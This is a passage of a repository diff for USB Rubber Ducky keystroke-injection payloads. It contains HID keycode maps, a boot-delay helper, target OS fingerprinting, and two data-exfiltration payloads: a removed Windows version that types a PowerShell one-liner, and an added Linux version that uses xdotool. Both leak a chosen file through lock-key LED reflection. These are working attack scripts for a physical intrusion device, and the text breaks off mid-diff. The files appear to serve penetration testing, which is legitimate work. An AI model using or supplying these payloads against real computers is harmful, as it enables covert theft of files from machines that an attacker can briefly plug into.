|
">": "40,00,1e",
|
||||||
|
"/": "02,00,24",
|
||||||
|
"?": "02,00,2d",
|
||||||
|
"CAPSLOCK": "00,00,39",
|
||||||
|
"F1": "00,00,3a",
|
||||||
|
"F2": "00,00,3b",
|
||||||
|
"F3": "00,00,3c",
|
||||||
|
"F4": "00,00,3d",
|
||||||
|
"F5": "00,00,3e",
|
||||||
|
"F6": "00,00,3f",
|
||||||
|
"F7": "00,00,40",
|
||||||
|
"F8": "00,00,41",
|
||||||
|
"F9": "00,00,42",
|
||||||
|
"F10": "00,00,43",
|
||||||
|
"F11": "00,00,44",
|
||||||
|
"F12": "00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK": "00,00,47",
|
||||||
|
"PAUSE": "00,00,48",
|
||||||
|
"BREAK": "00,00,48",
|
||||||
|
"INSERT": "00,00,49",
|
||||||
|
"HOME": "00,00,4a",
|
||||||
|
"PAGEUP": "00,00,4b",
|
||||||
|
"DELETE": "00,00,4c",
|
||||||
|
"DEL": "00,00,4c",
|
||||||
|
"END": "00,00,4d",
|
||||||
|
"PAGEDOWN": "00,00,4e",
|
||||||
|
"RIGHTARROW": "00,00,4f",
|
||||||
|
"RIGHT": "00,00,4f",
|
||||||
|
"LEFTARROW": "00,00,50",
|
||||||
|
"LEFT": "00,00,50",
|
||||||
|
"DOWNARROW": "00,00,51",
|
||||||
|
"DOWN": "00,00,51",
|
||||||
|
"UPARROW": "00,00,52",
|
||||||
|
"UP": "00,00,52",
|
||||||
|
"NUMLOCK": "00,00,53",
|
||||||
|
"MENU": "00,00,65",
|
||||||
|
"APP": "00,00,65"
|
||||||
|
}
|
|
@ -0,0 +1,163 @@
|
||||||
|
{
|
||||||
|
"__comment": "All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment": " See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment": " of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "Definition of these 3 bytes can be found",
|
||||||
|
"__comment": " in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment": " of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment": " - byte 1: Modifier keys",
|
||||||
|
"__comment": " - byte 2: Reserved",
|
||||||
|
"__comment": " - byte 3: Keycode 1",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "Both documents can be obtained from link here",
|
||||||
|
"__comment": " http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment": " ",
|
||||||
|
"0": "00,00,27",
|
||||||
|
"1": "00,00,1e",
|
||||||
|
"2": "00,00,1f",
|
||||||
|
"3": "00,00,20",
|
||||||
|
"4": "00,00,21",
|
||||||
|
"5": "00,00,22",
|
||||||
|
"6": "00,00,23",
|
||||||
|
"7": "00,00,24",
|
||||||
|
"8": "00,00,25",
|
||||||
|
"9": "00,00,26",
|
||||||
|
"CTRL": "01,00,00",
|
||||||
|
"CONTROL": "01,00,00",
|
||||||
|
"SHIFT": "02,00,00",
|
||||||
|
"ALT": "04,00,00",
|
||||||
|
"GUI": "08,00,00",
|
||||||
|
"WINDOWS": "08,00,00",
|
||||||
|
"COMMAND": "08,00,00",
|
||||||
|
"a": "00,00,04",
|
||||||
|
"A": "02,00,04",
|
||||||
|
"b": "00,00,05",
|
||||||
|
"B": "02,00,05",
|
||||||
|
"c": "00,00,06",
|
||||||
|
"C": "02,00,06",
|
||||||
|
"d": "00,00,07",
|
||||||
|
"D": "02,00,07",
|
||||||
|
"e": "00,00,08",
|
||||||
|
"E": "02,00,08",
|
||||||
|
"f": "00,00,09",
|
||||||
|
"F": "02,00,09",
|
||||||
|
"g": "00,00,0a",
|
||||||
|
"G": "02,00,0a",
|
||||||
|
"h": "00,00,0b",
|
||||||
|
"H": "02,00,0b",
|
||||||
|
"i": "00,00,0c",
|
||||||
|
"I": "02,00,0c",
|
||||||
|
"j": "00,00,0d",
|
||||||
|
"J": "02,00,0d",
|
||||||
|
"k": "00,00,0e",
|
||||||
|
"K": "02,00,0e",
|
||||||
|
"l": "00,00,0f",
|
||||||
|
"L": "02,00,0f",
|
||||||
|
"m": "00,00,10",
|
||||||
|
"M": "02,00,10",
|
||||||
|
"n": "00,00,11",
|
||||||
|
"N": "02,00,11",
|
||||||
|
"o": "00,00,12",
|
||||||
|
"O": "02,00,12",
|
||||||
|
"p": "00,00,13",
|
||||||
|
"P": "02,00,13",
|
||||||
|
"q": "00,00,14",
|
||||||
|
"Q": "02,00,14",
|
||||||
|
"r": "00,00,15",
|
||||||
|
"R": "02,00,15",
|
||||||
|
"s": "00,00,16",
|
||||||
|
"S": "02,00,16",
|
||||||
|
"t": "00,00,17",
|
||||||
|
"T": "02,00,17",
|
||||||
|
"u": "00,00,18",
|
||||||
|
"U": "02,00,18",
|
||||||
|
"v": "00,00,19",
|
||||||
|
"V": "02,00,19",
|
||||||
|
"w": "00,00,1a",
|
||||||
|
"W": "02,00,1a",
|
||||||
|
"x": "00,00,1b",
|
||||||
|
"X": "02,00,1b",
|
||||||
|
"y": "00,00,1c",
|
||||||
|
"Y": "02,00,1c",
|
||||||
|
"z": "00,00,1d",
|
||||||
|
"Z": "02,00,1d",
|
||||||
|
"!": "02,00,1e",
|
||||||
|
"@": "02,00,1f",
|
||||||
|
"#": "02,00,20",
|
||||||
|
"$": "02,00,21",
|
||||||
|
"%": "02,00,22",
|
||||||
|
"^": "02,00,23",
|
||||||
|
"&": "02,00,24",
|
||||||
|
"*": "02,00,25",
|
||||||
|
"(": "02,00,26",
|
||||||
|
")": "02,00,27",
|
||||||
|
"ENTER": "00,00,28",
|
||||||
|
"ESC": "00,00,29",
|
||||||
|
"ESCAPE": "00,00,29",
|
||||||
|
"BACKSPACE": "00,00,2a",
|
||||||
|
"TAB": "00,00,2b",
|
||||||
|
"SPACE": "00,00,2c",
|
||||||
|
" ": "00,00,2c",
|
||||||
|
"-": "00,00,2d",
|
||||||
|
"_": "02,00,2d",
|
||||||
|
"=": "00,00,2e",
|
||||||
|
"+": "02,00,2e",
|
||||||
|
"[": "00,00,2f",
|
||||||
|
"{": "02,00,2f",
|
||||||
|
"]": "00,00,30",
|
||||||
|
"}": "02,00,30",
|
||||||
|
"\\": "00,00,31",
|
||||||
|
"|": "02,00,31",
|
||||||
|
";": "00,00,33",
|
||||||
|
":": "02,00,33",
|
||||||
|
"'": "00,00,34",
|
||||||
|
"\"": "02,00,34",
|
||||||
|
"`": "00,00,35",
|
||||||
|
"~": "02,00,35",
|
||||||
|
",": "00,00,36",
|
||||||
|
"<": "02,00,36",
|
||||||
|
".": "00,00,37",
|
||||||
|
">": "02,00,37",
|
||||||
|
"/": "00,00,38",
|
||||||
|
"?": "02,00,38",
|
||||||
|
"CAPSLOCK": "00,00,39",
|
||||||
|
"F1": "00,00,3a",
|
||||||
|
"F2": "00,00,3b",
|
||||||
|
"F3": "00,00,3c",
|
||||||
|
"F4": "00,00,3d",
|
||||||
|
"F5": "00,00,3e",
|
||||||
|
"F6": "00,00,3f",
|
||||||
|
"F7": "00,00,40",
|
||||||
|
"F8": "00,00,41",
|
||||||
|
"F9": "00,00,42",
|
||||||
|
"F10": "00,00,43",
|
||||||
|
"F11": "00,00,44",
|
||||||
|
"F12": "00,00,45",
|
||||||
|
"PRINTSCREEN": "00,00,46",
|
||||||
|
"SCROLLLOCK": "00,00,47",
|
||||||
|
"PAUSE": "00,00,48",
|
||||||
|
"BREAK": "00,00,48",
|
||||||
|
"INSERT": "00,00,49",
|
||||||
|
"HOME": "00,00,4a",
|
||||||
|
"PAGEUP": "00,00,4b",
|
||||||
|
"DELETE": "00,00,4c",
|
||||||
|
"DEL": "00,00,4c",
|
||||||
|
"END": "00,00,4d",
|
||||||
|
"PAGEDOWN": "00,00,4e",
|
||||||
|
"RIGHTARROW": "00,00,4f",
|
||||||
|
"RIGHT": "00,00,4f",
|
||||||
|
"LEFTARROW": "00,00,50",
|
||||||
|
"LEFT": "00,00,50",
|
||||||
|
"DOWNARROW": "00,00,51",
|
||||||
|
"DOWN": "00,00,51",
|
||||||
|
"UPARROW": "00,00,52",
|
||||||
|
"UP": "00,00,52",
|
||||||
|
"NUMLOCK": "00,00,53",
|
||||||
|
"MENU": "00,00,65",
|
||||||
|
"APP": "00,00,65"
|
||||||
|
}
|
|
@ -0,0 +1,24 @@
|
||||||
|
EXTENSION DETECT_READY
|
||||||
|
REM VERSION 1.0
|
||||||
|
|
||||||
|
REM USAGE:
|
||||||
|
REM Extension runs inline (here)
|
||||||
|
REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic
|
||||||
|
REM boot delay
|
||||||
|
|
||||||
|
REM TARGETS:
|
||||||
|
REM Any system that reflects CAPSLOCK will detect minimum required delay
|
||||||
|
REM Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms
|
||||||
|
|
||||||
|
REM CONFIGURATION:
|
||||||
|
DEFINE RESPONSE_DELAY 25
|
||||||
|
DEFINE ITERATION_LIMIT 120
|
||||||
|
|
||||||
|
VAR $C = 0
|
||||||
|
WHILE (($_CAPSLOCK_ON == FALSE) && ($C < ITERATION_LIMIT))
|
||||||
|
CAPSLOCK
|
||||||
|
DELAY RESPONSE_DELAY
|
||||||
|
$C = ($C + 1)
|
||||||
|
END_WHILE
|
||||||
|
CAPSLOCK
|
||||||
|
END_EXTENSION
|
|
@ -0,0 +1,36 @@
|
||||||
|
EXTENSION EXFIL_AUTO_EOF_DETECT
|
||||||
|
REM VERSION 1.0
|
||||||
|
|
||||||
|
REM USAGE:
|
||||||
|
REM Call WAIT_FOR_EOF() after starting Keystroke Reflection / HID Exfil
|
||||||
|
|
||||||
|
REM TARGETS:
|
||||||
|
REM Any; intended for use on systems that dont reflect more than 2 lock keys
|
||||||
|
|
||||||
|
FUNCTION WAIT_FOR_EOF()
|
||||||
|
VAR $CURRENT_CAPSLOCK_STATE = $_CAPSLOCK_ON
|
||||||
|
VAR $CURRENT_NUMLOCK_STATE = $_NUMLOCK_ON
|
||||||
|
VAR $PROCESSING = TRUE
|
||||||
|
VAR $INACTIVITY_COUNT = 0
|
||||||
|
DEFINE INACTIVTY_TARGET 10
|
||||||
|
WHILE ($PROCESSING)
|
||||||
|
DELAY 20
|
||||||
|
IF($CURRENT_CAPSLOCK_STATE != $_CAPSLOCK_ON) THEN
|
||||||
|
$CURRENT_CAPSLOCK_STATE = $_CAPSLOCK_ON
|
||||||
|
$PROCESSING = TRUE
|
||||||
|
LED_G
|
||||||
|
ELSE IF($CURRENT_NUMLOCK_STATE != $_NUMLOCK_ON) THEN
|
||||||
|
$CURRENT_NUMLOCK_STATE = $_NUMLOCK_ON
|
||||||
|
$PROCESSING = TRUE
|
||||||
|
LED_R
|
||||||
|
ELSE
|
||||||
|
$INACTIVTY_COUNT = ($INACTIVTY_COUNT + 1)
|
||||||
|
IF ($INACTIVTY_COUNT >= INACTIVTY_TARGET) THEN
|
||||||
|
$PROCESSING = FALSE
|
||||||
|
END_IF
|
||||||
|
LED_OFF
|
||||||
|
END_IF
|
||||||
|
END_WHILE
|
||||||
|
LED_G
|
||||||
|
END_FUNCTION
|
||||||
|
END_EXTENSION
|
|
@ -1,24 +1,35 @@
|
||||||
EXTENSION HELLO_OS
|
EXTENSION HELLO_OS
|
||||||
VERSION 1.0
|
REM VERSION 1.0
|
||||||
|
|
||||||
REM For use with OS_DETECT Extension
|
REM USAGE:
|
||||||
|
REM For use with OS_DETECT Extension, call HELLO_OS() after DETECT_OS()
|
||||||
REM prints the OS determination
|
REM prints the OS determination
|
||||||
|
|
||||||
|
REM Additional Example: Defining custom $_OS enums
|
||||||
|
DEFINE SOME_OTHER_OS 6
|
||||||
|
DEFINE ANOTHER_OS 7
|
||||||
|
|
||||||
FUNCTION HELLO_OS()
|
FUNCTION HELLO_OS()
|
||||||
IF ($_OS == WINDOWS) THEN
|
IF ($_OS == WINDOWS) THEN
|
||||||
STRING Hello Windows!
|
STRING Hello Windows!
|
||||||
ELSE IF ($_OS == MACOS) THEN
|
ELSE IF ($_OS == MACOS) THEN
|
||||||
STRING Hello Mac!
|
STRING Hello Mac!
|
||||||
ELSE IF ($_OS == LINUX) THEN
|
ELSE IF ($_OS == LINUX) THEN
|
||||||
STRING Hello Linux!
|
STRING Hello Linux!
|
||||||
ELSE IF ($_OS == IOS) THEN
|
ELSE IF ($_OS == IOS) THEN
|
||||||
STRING Hello iOS!
|
STRING Hello iOS!
|
||||||
ELSE IF ($_OS == CHROMEOS) THEN
|
ELSE IF ($_OS == CHROMEOS) THEN
|
||||||
STRING Hello ChromeOS!
|
STRING Hello ChromeOS!
|
||||||
ELSE IF ($_OS == ANDROID) THEN
|
ELSE IF ($_OS == ANDROID) THEN
|
||||||
STRING Hello Android!
|
STRING Hello Android!
|
||||||
ELSE
|
ELSE IF($_OS == SOME_OTHER_OS) THEN
|
||||||
STRING Hello World!
|
REM Example Only
|
||||||
END_IF
|
STRING HELLO Custom OS Type!
|
||||||
|
ELSE IF($_OS == ANOTHER_OS) THEN
|
||||||
|
REM Example Only
|
||||||
|
STRING HELLO Another Custom OS Type!
|
||||||
|
ELSE
|
||||||
|
STRING Hello World!
|
||||||
|
END_IF
|
||||||
END_FUNCTION
|
END_FUNCTION
|
||||||
END_EXTENSION
|
END_EXTENSION
|
||||||
|
|
|
@ -1,66 +0,0 @@
|
||||||
EXTENSION HID_EXFIL
|
|
||||||
VERSION 1.0
|
|
||||||
|
|
||||||
REM Helpers for Keystroke Reflection data exfiltration
|
|
||||||
REM This payload is a proof of concept for USB HID only Data Exfiltration
|
|
||||||
|
|
||||||
REM TARGET:
|
|
||||||
REM Windows Hostthat supports powershell and SendKeys
|
|
||||||
|
|
||||||
REM USAGE:
|
|
||||||
REM Uncomment the function call below to run this extension inline
|
|
||||||
REM or call RUN_EXFIL() anywhere in your payload after the extension
|
|
||||||
|
|
||||||
REM DEPLOYMENT:
|
|
||||||
REM Plug Ducky into host, wait for the LED to turn (and stay) solid Green.
|
|
||||||
|
|
||||||
REM BEGIN EXTENSION OPTIONS
|
|
||||||
|
|
||||||
REM File on host machine to exfil using Keystroke Reflection attack
|
|
||||||
DEFINE TARGET_FILE C:\id.txt
|
|
||||||
|
|
||||||
REM if STORAGE_ON_SUCCESS TRUE - the device will automatically switch to ATTACKMODE STORAGE after
|
|
||||||
REM EXFIL has completed; this is useful in testing
|
|
||||||
DEFINE STORAGE_ON_SUCCESS FALSE
|
|
||||||
|
|
||||||
REM END EXTENSION OPTIONS
|
|
||||||
|
|
||||||
FUNCTION RUN_EXFIL()
|
|
||||||
REM Boot
|
|
||||||
LED_OFF
|
|
||||||
DELAY 500
|
|
||||||
REM Launch Windows RUN dialog
|
|
||||||
GUI R
|
|
||||||
DELAY 50
|
|
||||||
REM Launch powershell
|
|
||||||
STRING powershell
|
|
||||||
ENTER
|
|
||||||
DELAY 250
|
|
||||||
REM Save HOST's current lock state
|
|
||||||
SAVE_HOST_KEYBOARD_LOCK_STATE
|
|
||||||
REM Start Listening - Enable EXFIL mode, Enable EXFIL mode for Device LEDS
|
|
||||||
$_EXFIL_MODE_ENABLED = TRUE
|
|
||||||
$_EXFIL_LEDS_ENABLED = TRUE
|
|
||||||
REM Convert and reflect target file
|
|
||||||
STRING foreach($b in $(Get-Content "TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit;
|
|
||||||
ENTER
|
|
||||||
REM Listen for "EOF"
|
|
||||||
WAIT_FOR_SCROLL_CHANGE
|
|
||||||
REM Indicate SUCCESS on Device LED, Disable EXFIL mode
|
|
||||||
LED_G
|
|
||||||
$_EXFIL_MODE_ENABLED = FALSE
|
|
||||||
REM Restore HOST's lock state to original
|
|
||||||
RESTORE_HOST_KEYBOARD_LOCK_STATE
|
|
||||||
REM If configured, automatically change to ATTACKMODE STORAGE (useful in testing)
|
|
||||||
IF STORAGE_ON_SUCCESS {
|
|
||||||
ATTACKMODE STORAGE
|
|
||||||
}
|
|
||||||
END_FUNCTION
|
|
||||||
|
|
||||||
REM Uncomment the function call below to run this extension inline (here)
|
|
||||||
REM or call RUN_EXFIL() anywhere in your payload after the extension
|
|
||||||
|
|
||||||
REM RUN_EXFIL()
|
|
||||||
|
|
||||||
END_EXTENSION
|
|
||||||
|
|
|
@ -0,0 +1,44 @@
|
||||||
|
EXTENSION LINUX_HID_EXFIL
|
||||||
|
REM VERSION 1.0
|
||||||
|
|
||||||
|
REM REQUIRES EXFIL_AUTO_EOF_DETECT EXTENSION
|
||||||
|
|
||||||
|
REM Helpers for Linux Keystroke Reflection data exfiltration
|
||||||
|
REM This payload is a proof of concept for USB HID only Data Exfiltration
|
||||||
|
|
||||||
|
REM TARGET:
|
||||||
|
REM Linux Host that supports opening terminal via CTRL ALT t, and xdotool
|
||||||
|
|
||||||
|
REM USAGE:
|
||||||
|
REM Uncomment the function call below to run this extension inline
|
||||||
|
REM or call RUN_LINUX_EXFIL() anywhere in your payload after the extension
|
||||||
|
|
||||||
|
REM DEPLOYMENT:
|
||||||
|
REM Plug Ducky into host, wait for the LED to turn (and stay) solid Green.
|
||||||
|
|
||||||
|
REM CONFIGURATION:
|
||||||
|
REM File on host machine to exfil using Keystroke Reflection attack
|
||||||
|
DEFINE TARGET_FILE t.txt
|
||||||
|
DEFINE TERMINAL_OPEN_DELAY 500
|
||||||
|
DEFINE READY_TO_TYPE_DELAY 250
|
||||||
|
FUNCTION RUN_LINUX_EXFIL()
|
||||||
|
LED_OFF
|
||||||
|
DELAY READY_TO_TYPE_DELAY
|
||||||
|
CTRL ALT t
|
||||||
|
DELAY TERMINAL_OPEN_DELAY
|
||||||
|
SAVE_HOST_KEYBOARD_LOCK_STATE
|
||||||
|
$_EXFIL_MODE_ENABLED = TRUE
|
||||||
|
$_EXFIL_LEDS_ENABLED = TRUE
|
||||||
|
STRINGLN uname -a > TARGET_FILE
|
||||||
|
STRINGLN c="xdotool key --delay 4";o=" Caps_Lock";l=" Num_Lock";bs=$(xxd -b TARGET_FILE |cut -d " " -f2-7);for (( i=0;i<${#bs};i++ ));do b="${bs:$i:1}";if [[ "$b" == "0" ]];then c+=$o;fi;if [[ "$b" == "1" ]];then c+=$l;fi;done;eval "$c";exit
|
||||||
|
WAIT_FOR_EOF()
|
||||||
|
$_EXFIL_LEDS_ENABLED = FALSE
|
||||||
|
$_EXFIL_MODE_ENABLED = FALSE
|
||||||
|
RESTORE_HOST_KEYBOARD_LOCK_STATE
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
REM Uncomment the function call below to run this extension inline (here)
|
||||||
|
REM or call RUN_WINDOWS_EXFIL() anywhere in your payload after the extension
|
||||||
|
|
||||||
|
REM RUN_LINUX_EXFIL()
|
||||||
|
END_EXTENSION
|
|
@ -1,10 +1,10 @@
|
||||||
EXTENSION OS_DETECTION
|
EXTENSION OS_DETECTION
|
||||||
VERSION 1.0
|
REM VERSION 1.0
|
||||||
|
|
||||||
REM USB Rubber Ducky Host OS Detection
|
REM USB Rubber Ducky Host OS Detection
|
||||||
REM "Generic" OS detection at a high view is a "moving target"
|
REM Generic OS detection at a high view is a moving target
|
||||||
REM results may vary greatly depending
|
REM results may vary greatly depending
|
||||||
REM on a combination of many "variables":
|
REM on a combination of many variables:
|
||||||
REM - number of testing stages
|
REM - number of testing stages
|
||||||
REM - specific devices and versions tested against
|
REM - specific devices and versions tested against
|
||||||
REM - number of systems testing for (scope)
|
REM - number of systems testing for (scope)
|
||||||
|
@ -13,8 +13,8 @@ EXTENSION OS_DETECTION
|
||||||
REM - overall accuracy
|
REM - overall accuracy
|
||||||
|
|
||||||
REM TARGET:
|
REM TARGET:
|
||||||
DEFAULT - Windows, Mac, Linux
|
REM DEFAULT - Windows, Mac, Linux
|
||||||
ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android
|
REM ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android
|
||||||
|
|
||||||
REM USAGE:
|
REM USAGE:
|
||||||
REM Uncomment the function call below to run this extension inline (here)
|
REM Uncomment the function call below to run this extension inline (here)
|
||||||
|
@ -22,185 +22,181 @@ EXTENSION OS_DETECTION
|
||||||
REM Place this extension and the DETECT_OS() before
|
REM Place this extension and the DETECT_OS() before
|
||||||
REM you would like to first reference $_OS to execute payload code conditionally
|
REM you would like to first reference $_OS to execute payload code conditionally
|
||||||
|
|
||||||
REM DEPLOYMENT:
|
REM CONFIGURATION:
|
||||||
REM Plug Ducky into host
|
DEFINE VERBOSE FALSE
|
||||||
|
DEFINE ADVANCED_DETECTION FALSE
|
||||||
|
DEFINE STARTUP_DELAY 1500
|
||||||
|
DEFINE RESTART_WAIT 1000
|
||||||
|
DEFINE CONNECT_WAIT 1000
|
||||||
|
DEFINE OS_DETECT_MODE HID
|
||||||
|
DEFINE OS_DETECT_VID VID_05AC
|
||||||
|
DEFINE OS_DETECT_PID PID_021E
|
||||||
|
DEFINE WINDOWS_HOST_REQUEST_COUNT 2
|
||||||
|
DEFINE HOST_RESPONSE_TIMEOUT 1000
|
||||||
|
|
||||||
FUNCTION DETECT_OS()
|
FUNCTION DETECT_OS()
|
||||||
REM BEGIN EXTENSION OPTIONS
|
$_HOST_CONFIGURATION_REQUEST_COUNT = 0
|
||||||
DEFINE VERBOSE FALSE
|
ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID
|
||||||
DEFINE ADVANCED_DETECTION FALSE
|
DELAY STARTUP_DELAY
|
||||||
DEFINE STARTUP_DELAY 1500
|
SAVE_HOST_KEYBOARD_LOCK_STATE
|
||||||
DEFINE RESTART_WAIT 1000
|
|
||||||
DEFINE OS_DETECT_MODE HID
|
IF VERBOSE THEN
|
||||||
DEFINE OS_DETECT_VID VID_05AC
|
IF ADVANCED_DETECTION THEN
|
||||||
DEFINE OS_DETECT_PID PID_021E
|
STRING ADVANCED OS DETECT
|
||||||
DEFINE WINDOWS_HOST_REQUEST_COUNT 2
|
ELSE
|
||||||
DEFINE HOST_RESPONSE_TIMEOUT 1000
|
STRING OS DETECT
|
||||||
REM END EXTENSION OPTIONS
|
END_IF
|
||||||
|
|
||||||
$_HOST_CONFIGURATION_REQUEST_COUNT = 0
|
ENTER
|
||||||
ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID
|
STRING test caps
|
||||||
DELAY STARTUP_DELAY
|
END_IF
|
||||||
SAVE_HOST_KEYBOARD_LOCK_STATE
|
|
||||||
|
IF ($_CAPSLOCK_ON == FALSE) THEN
|
||||||
IF VERBOSE THEN
|
LED_R
|
||||||
IF ADVANCED_DETECTION THEN
|
CAPSLOCK
|
||||||
STRING ADVANCED OS DETECT
|
DELAY HOST_RESPONSE_TIMEOUT
|
||||||
ELSE
|
END_IF
|
||||||
STRING OS DETECT
|
LED_OFF
|
||||||
END_IF
|
|
||||||
|
IF VERBOSE THEN
|
||||||
ENTER
|
ENTER
|
||||||
STRING test caps
|
STRING test done
|
||||||
END_IF
|
END_IF
|
||||||
|
|
||||||
IF ($_CAPSLOCK_ON == FALSE) THEN
|
IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN
|
||||||
LED_R
|
IF VERBOSE THEN
|
||||||
CAPSLOCK
|
ENTER
|
||||||
DELAY HOST_RESPONSE_TIMEOUT
|
STRING received led response
|
||||||
END_IF
|
END_IF
|
||||||
LED_OFF
|
LED_G
|
||||||
|
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN
|
||||||
IF VERBOSE THEN
|
IF VERBOSE THEN
|
||||||
ENTER
|
ENTER
|
||||||
STRING test done
|
STRING prediction: Windows
|
||||||
END_IF
|
END_IF
|
||||||
|
$_OS = WINDOWS
|
||||||
IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN
|
ELSE
|
||||||
IF VERBOSE THEN
|
IF VERBOSE THEN
|
||||||
ENTER
|
ENTER
|
||||||
STRING received led response
|
STRING prediction: Linux
|
||||||
END_IF
|
END_IF
|
||||||
LED_G
|
$_OS = LINUX
|
||||||
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN
|
END_IF
|
||||||
IF VERBOSE THEN
|
ELSE
|
||||||
ENTER
|
IF VERBOSE THEN
|
||||||
STRING prediction: Windows
|
ENTER
|
||||||
END_IF
|
STRING no led response
|
||||||
$_OS = WINDOWS
|
ENTER
|
||||||
ELSE
|
STRING prediciton: MacOS
|
||||||
IF VERBOSE THEN
|
END_IF
|
||||||
ENTER
|
$_OS = MACOS
|
||||||
STRING prediction: Linux
|
END_IF
|
||||||
END_IF
|
|
||||||
$_OS = LINUX
|
IF ADVANCED_DETECTION THEN
|
||||||
END_IF
|
IF ( $_OS == LINUX ) THEN
|
||||||
ELSE
|
IF VERBOSE THEN
|
||||||
IF VERBOSE THEN
|
ENTER
|
||||||
ENTER
|
STRING soft reconnect
|
||||||
STRING no led response
|
END_IF
|
||||||
ENTER
|
ATTACKMODE OFF
|
||||||
STRING prediciton: MacOS
|
DELAY RESTART_WAIT
|
||||||
END_IF
|
ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID
|
||||||
$_OS = MACOS
|
DELAY CONNECT_WAIT
|
||||||
END_IF
|
IF VERBOSE THEN
|
||||||
|
ENTER
|
||||||
IF ADVANCED_DETECTION THEN
|
STRING reconnected
|
||||||
IF ( $_OS == LINUX ) THEN
|
END_IF
|
||||||
IF VERBOSE THEN
|
IF ($_CAPSLOCK_ON == TRUE) THEN
|
||||||
ENTER
|
IF VERBOSE THEN
|
||||||
STRING soft reconnect
|
ENTER
|
||||||
END_IF
|
STRING caps led on
|
||||||
ATTACKMODE OFF
|
ENTER
|
||||||
DELAY RESTART_WAIT
|
STRING test numlock
|
||||||
ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID
|
END_IF
|
||||||
DELAY CONNECT_WAIT
|
NUMLOCK
|
||||||
IF VERBOSE THEN
|
DELAY HOST_RESPONSE_TIMEOUT
|
||||||
ENTER
|
IF VERBOSE THEN
|
||||||
STRING reconnected
|
ENTER
|
||||||
END_IF
|
STRING test done
|
||||||
IF ($_CAPSLOCK_ON == TRUE) THEN
|
END_IF
|
||||||
IF VERBOSE THEN
|
IF ($_NUMLOCK_ON == FALSE) THEN
|
||||||
ENTER
|
IF VERBOSE THEN
|
||||||
STRING caps led on
|
ENTER
|
||||||
ENTER
|
STRING no numlock led
|
||||||
STRING test numlock
|
ENTER
|
||||||
END_IF
|
STRING prediciton: ChromeOS
|
||||||
NUMLOCK
|
END_IF
|
||||||
DELAY HOST_RESPONSE_TIMEOUT
|
$_OS = CHROMEOS
|
||||||
IF VERBOSE THEN
|
ELSE
|
||||||
ENTER
|
IF VERBOSE THEN
|
||||||
STRING test done
|
ENTER
|
||||||
END_IF
|
STRING numlock led on
|
||||||
IF ($_NUMLOCK_ON == FALSE) THEN
|
ENTER
|
||||||
IF VERBOSE THEN
|
STRING testing scrolllock
|
||||||
ENTER
|
END_IF
|
||||||
STRING no numlock led
|
SCROLLLOCK
|
||||||
ENTER
|
DELAY HOST_RESPONSE_TIMEOUT
|
||||||
STRING prediciton: ChromeOS
|
IF VERBOSE THEN
|
||||||
END_IF
|
ENTER
|
||||||
$_OS = CHROMEOS
|
STRING test done
|
||||||
ELSE
|
END_IF
|
||||||
IF VERBOSE THEN
|
IF ($_SCROLLLOCK_ON == TRUE) THEN
|
||||||
ENTER
|
IF VERBOSE THEN
|
||||||
STRING numlock led on
|
ENTER
|
||||||
ENTER
|
STRING scrolllock led on
|
||||||
STRING testing scrolllock
|
ENTER
|
||||||
END_IF
|
STRING prediciton: Android
|
||||||
SCROLLLOCK
|
END_IF
|
||||||
DELAY HOST_RESPONSE_TIMEOUT
|
$_OS = ANDROID
|
||||||
IF VERBOSE THEN
|
ELSE
|
||||||
ENTER
|
IF VERBOSE THEN
|
||||||
STRING test done
|
ENTER
|
||||||
END_IF
|
STRING no scrolllock reply
|
||||||
IF ($_SCROLLLOCK_ON == TRUE) THEN
|
ENTER
|
||||||
IF VERBOSE THEN
|
STRING prediction: Linux
|
||||||
ENTER
|
END_IF
|
||||||
STRING scrolllock led on
|
$_OS = LINUX
|
||||||
ENTER
|
END_IF
|
||||||
STRING prediciton: Android
|
END_IF
|
||||||
END_IF
|
END_IF
|
||||||
$_OS = ANDROID
|
ELSE IF ($_OS == MACOS) THEN
|
||||||
ELSE
|
IF ($_CAPSLOCK_ON == TRUE) THEN
|
||||||
IF VERBOSE THEN
|
IF VERBOSE THEN
|
||||||
ENTER
|
ENTER
|
||||||
STRING no scrolllock reply
|
STRING caps led on
|
||||||
ENTER
|
ENTER
|
||||||
STRING prediction: Linux
|
STRING prediction: iOS
|
||||||
END_IF
|
END_IF
|
||||||
$_OS = LINUX
|
$_OS = IOS
|
||||||
END_IF
|
ELSE
|
||||||
END_IF
|
IF VERBOSE THEN
|
||||||
END_IF
|
ENTER
|
||||||
ELSE IF ($_OS == MACOS) THEN
|
STRING no caps reply
|
||||||
IF ($_CAPSLOCK_ON == TRUE) THEN
|
ENTER
|
||||||
IF VERBOSE THEN
|
STRING prediction: MacOS
|
||||||
ENTER
|
END_IF
|
